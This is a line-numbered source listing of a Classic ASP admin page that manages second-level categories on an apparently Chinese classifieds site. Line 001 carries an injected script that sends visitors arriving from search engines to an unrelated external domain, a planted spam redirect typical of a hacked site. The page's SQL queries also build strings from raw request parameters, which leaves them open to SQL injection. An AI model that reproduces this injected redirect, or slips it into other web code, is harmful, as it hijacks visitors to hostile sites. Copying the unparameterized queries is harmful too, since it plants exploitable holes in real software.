d:\wwwroot\wuchunhua\admin\typeedit_two.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
%
>
005:
<%
dim action,id,dname
006:
twoid=request.QueryString("twoid")
007:
id=request.QueryString("id")
008:
action=request.querystring("action")
009:
dname=trim(request("name"))
010:
set rs=server.CreateObject("adodb.recordset")
011:
rs.open "select * from china_type where id="&id&" and twoid=0",conn,1,3
012:
mname=rs("name")
013:
rs.close
014:
set rs=nothing
015:
016:
select case action
017:
case "add"
018:
set rs=server.CreateObject("adodb.recordset")
019:
if dname<>"" then
020:
rs.open "select * from china_type where id="&id&" and twoid<>0 and threeid=0 and name='"&dname&"'",conn,1,3
021:
if rs.eof then
022:
rs.close
023:
rs.open "select * from china_type where id="&id&" order by twoid desc",conn,1,3
024:
two=rs("twoid")+1
025:
rs.close
026:
rs.open "china_type",conn,1,3
027:
rs.AddNew
028:
rs("id")=id
029:
rs("name")=dname
030:
rs("indexid")=trim(request("indexid"))
031:
rs("indexshow")=trim(request("indexshow"))
032:
if request("colorshow")="1" then
033:
rs("trcolor")="#ffe8e8"
034:
rs("tdcolor")="#dd91a5"
035:
rs("titlecolor")="#000000"
036:
rs("telcolor")="#ff0000"
037:
end if
038:
if request("colorshow")="2" then
039:
rs("trcolor")="#f7ffe1"
040:
rs("tdcolor")="#92dcb9"
041:
rs("titlecolor")="#ffffff"
042:
rs("telcolor")="#246838"
043:
end if
044:
if request("colorshow")="3" then
045:
rs("trcolor")="#e6faff"
046:
rs("tdcolor")="#91b9dd"
047:
rs("titlecolor")="#0066cc"
048:
rs("telcolor")="#0066cc"
049:
end if
050:
if request("colorshow")="4" then
051:
rs("trcolor")="#ffe1fb"
052:
rs("tdcolor")="#b021c5"
053:
rs("titlecolor")="#cc33cc"
054:
rs("telcolor")="#990099"
055:
end if
056:
rs("twoid")=two
057:
rs.Update
058:
rs.Close
059:
set rs=nothing
060:
end if
061:
end if
062:
case "edit"
063:
set rs=server.CreateObject("adodb.recordset")
064:
rs.open "select * from china_type where threeid=0 and twoid="&twoid&" and id="&id,conn,1,3
065:
yname=rs("name")
066:
rs("name")=dname
067:
rs("indexid")=trim(request("indexid"))
068:
rs("indexshow")=trim(request("indexshow"))
069:
if request("colorshow")="1" then
070:
rs("trcolor")="#ffe8e8"
071:
rs("tdcolor")="#dd91a5"
072:
rs("titlecolor")="#000000"
073:
rs("telcolor")="#ff0000"
074:
end if
075:
if request("colorshow")="2" then
076:
rs("trcolor")="#f7ffe1"
077:
rs("tdcolor")="#92dcb9"
078:
rs("titlecolor")="#ffffff"
079:
rs("telcolor")="#246838"
080:
end if
081:
if request("colorshow")="3" then
082:
rs("trcolor")="#e6faff"
083:
rs("tdcolor")="#91b9dd"
084:
rs("titlecolor")="#0066cc"
085:
rs("telcolor")="#0066cc"
086:
end if
087:
if request("colorshow")="4" then
088:
rs("trcolor")="#ffe1fb"
089:
rs("tdcolor")="#b021c5"
090:
rs("titlecolor")="#cc33cc"
091:
rs("telcolor")="#990099"
092:
end if
093:
rs.Update
094:
rs.Close
095:
set rs=nothing
096:
sql="update china_data set type_two='"&dname&"' where type_oneid="&id&" and type_twoid="&twoid&" and type_threeid=0"
097:
conn.execute sql
098:
099:
100:
case "del"
101:
set rs=server.CreateObject("adodb.recordset")
102:
conn.execute ("delete from china_type where id="&id&" and twoid="&twoid&"")
103:
sql="select * from china_data where type_oneid="&id&" and type_twoid="&twoid&""
104:
set rs=server.createobject("adodb.recordset")
105:
rs.open sql,conn,3,2
106:
Set fdel = CreateObject("Scripting.FileSystemObject")
107:
if not rs.eof then
108:
For iPage = 1 To rs.recordcount
109:
adid=rs("adid")
110:
pic=rs("pic")
111:
rs.delete
112:
rs.update
113:
sql1="delete from china_message where adid ="&adid&""
114:
conn.execute(sql1)
115:
rs.movenext
116:
'''''''''''删除html开始''''''''''''''''
117:
tempImageDir = Server.MapPath("../html/"&adid&".htm")
118:
fdel.DeleteFile(tempImageDir)
119:
if pic<>"" and lcase(left(pic,7))<>"http://" then
120:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
121:
end if
122:
'''''''''''删除html结束'''''''''''''''
123:
if rs.eof then exit for
124:
next
125:
set fdel=nothing
126:
rs.close
127:
set rs=nothing
128:
end if
129:
conn.close
130:
set conn=nothing
131:
response.Redirect "typeedit_two.asp?id="&id&""
132:
end select
133:
%
>
134:
<html>
135:
<head>
136:
<link rel="stylesheet" type="text/css" href="style.css">
137:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
138:
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
139:
<meta name="ProgId" content="FrontPage.Editor.Document">
140:
<title>分类管理</title>
141:
</head>
142:
143:
<body background="images/background.gif">
144:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
145:
<tr>
146:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">二 级 分 类 栏 目 管 理</font></td>
147:
</tr>
148:
<tr>
149:
<td bgcolor="#FFFFFF"> [<a href="typeedit.asp">首页</a>]->
<%
=mname
%
><br>
150:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
151:
<tr align="center" bgcolor="#FFFFFF" height="20">
152:
<td width="30">编号</td>
153:
<td>分类名称</td>
154:
<td>显示顺序</td>
155:
<td>首页显示</td>
156:
<td>首页配色</td>
157:
<td>管理操作</td>
158:
</tr>
159:
<%
set rs=server.CreateObject("adodb.recordset")
160:
rs.Open "select * from china_type where id="&id&" and twoid<>0 and threeid=0 order by twoid",conn,1,1
161:
dim follows
162:
if rs.EOF and rs.BOF then
163:
response.write"<tr bgcolor=#FFFFFF><td colspan='6'><p align='center'><font color='red'>暂无分类!</font></td></tr></table><br>"
164:
follows=0
165:
else
166:
do while not rs.EOF
167:
i=i+1
168:
%
>
169:
<form name="form1" method="post" action="typeedit_two.asp?action=edit&id=
<%
=int(rs("id"))
%
>&twoid=
<%
=int(rs("twoid"))
%
>">
170:
<tr bgcolor="#FFFFFF" align="center">
171:
<td>
<%
=i
%
></td>
172:
<td><input name="name" type="text" size="12" value="
<%
=trim(rs("name"))
%
>">
173:
[<a href="typeedit_three.asp?id=
<%
=rs("id")
%
>&twoid=
<%
=rs("twoid")
%
>">子目录</a>]</td>
174:
<td><input name="indexid" type="text" size="2" value="
<%
=trim(rs("indexid"))
%
>"></td>
175:
<td><select name="indexshow">
176:
<option value="yes"
<%
if rs("indexshow")="yes" then
%
>selected
<%
end if
%
>>显示</option>
177:
<option value="no"
<%
if rs("indexshow")="no" then
%
>selected
<%
end if
%
>>隐藏</option>
178:
</select></td>
179:
<td><select name="colorshow">
180:
<option value="1"
<%
if rs("trcolor")="#ffe8e8" then
%
>selected
<%
end if
%
> style="COLOR:#000000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
181:
<option value="2"
<%
if rs("trcolor")="#f7ffe1" then
%
>selected
<%
end if
%
> style="COLOR:#ffffff;BACKGROUND-COLOR:#f7ffe1;">配色2</option>
182:
<option value="3"
<%
if rs("trcolor")="#e6faff" then
%
>selected
<%
end if
%
> style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色3</option>
183:
<option value="4"
<%
if rs("trcolor")="#ffe1fb" then
%
>selected
<%
end if
%
> style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色4</option>
184:
</select></td>
185:
<td><input type="submit" name="Submit" value="修 改">
186:
<input type="button" name="DEL" onclick="{if(confirm('确定要删除这个分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?name=
<%
=rs("name")
%
>&action=del&id=
<%
=rs("id")
%
>&twoid=
<%
=rs("twoid")
%
>';}return false;}" value="删除" >
187:
</td>
188:
</tr>
189:
</form>
190:
<%
191:
rs.MoveNext
192:
loop
193:
follows=rs.RecordCount
194:
end if
%
>
195:
</table>
196:
<br></td>
197:
</tr>
198:
</table>
199:
<br>
200:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
201:
<tr>
202:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 二 级 分 类 名 称</font></td>
203:
</tr>
204:
<tr>
205:
<td bgcolor="#FFFFFF">
206:
<br>
207:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
208:
<tr align="center" bgcolor="#FFFFFF" height="20">
209:
<td width="30">编号 </td>
210:
<td>分类名称</td>
211:
<td>显示顺序</td>
212:
<td>首页显示</td>
213:
<td>首页配色</td>
214:
<td>确定操作</td>
215:
</tr>
216:
<form name="form1" method="post" action="typeedit_two.asp?action=add&id=
<%
=id
%
>">
217:
<tr align="center" bgcolor="#FFFFFF">
218:
<td>
<%
=rs.RecordCount+1
%
></td>
219:
<td><input name="name" type="text" id="name" size="12"></td>
220:
<td><input name="indexid" type="text" value="0" size="2"></td>
221:
<td><select name="indexshow">
222:
<option value="yes">显示</option>
223:
<option value="no" selected>隐藏</option>
224:
</select></td>
225:
<td><select name="colorshow">
226:
<option value="1" selected style="COLOR:#000000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
227:
<option value="2" style="COLOR:#ffffff;BACKGROUND-COLOR:#f7ffe1;">配色2</option>
228:
<option value="3" style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色3</option>
229:
<option value="4" style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色4</option>
230:
</select></td>
231:
<td><input type="submit" name="Submit3" value="添 加"></td>
232:
</tr>
233:
</form>
234:
</table>
235:
<br></td>
236:
</tr>
237:
</table>
238:
</body>
239:
240:
</html>
241:
242:
243: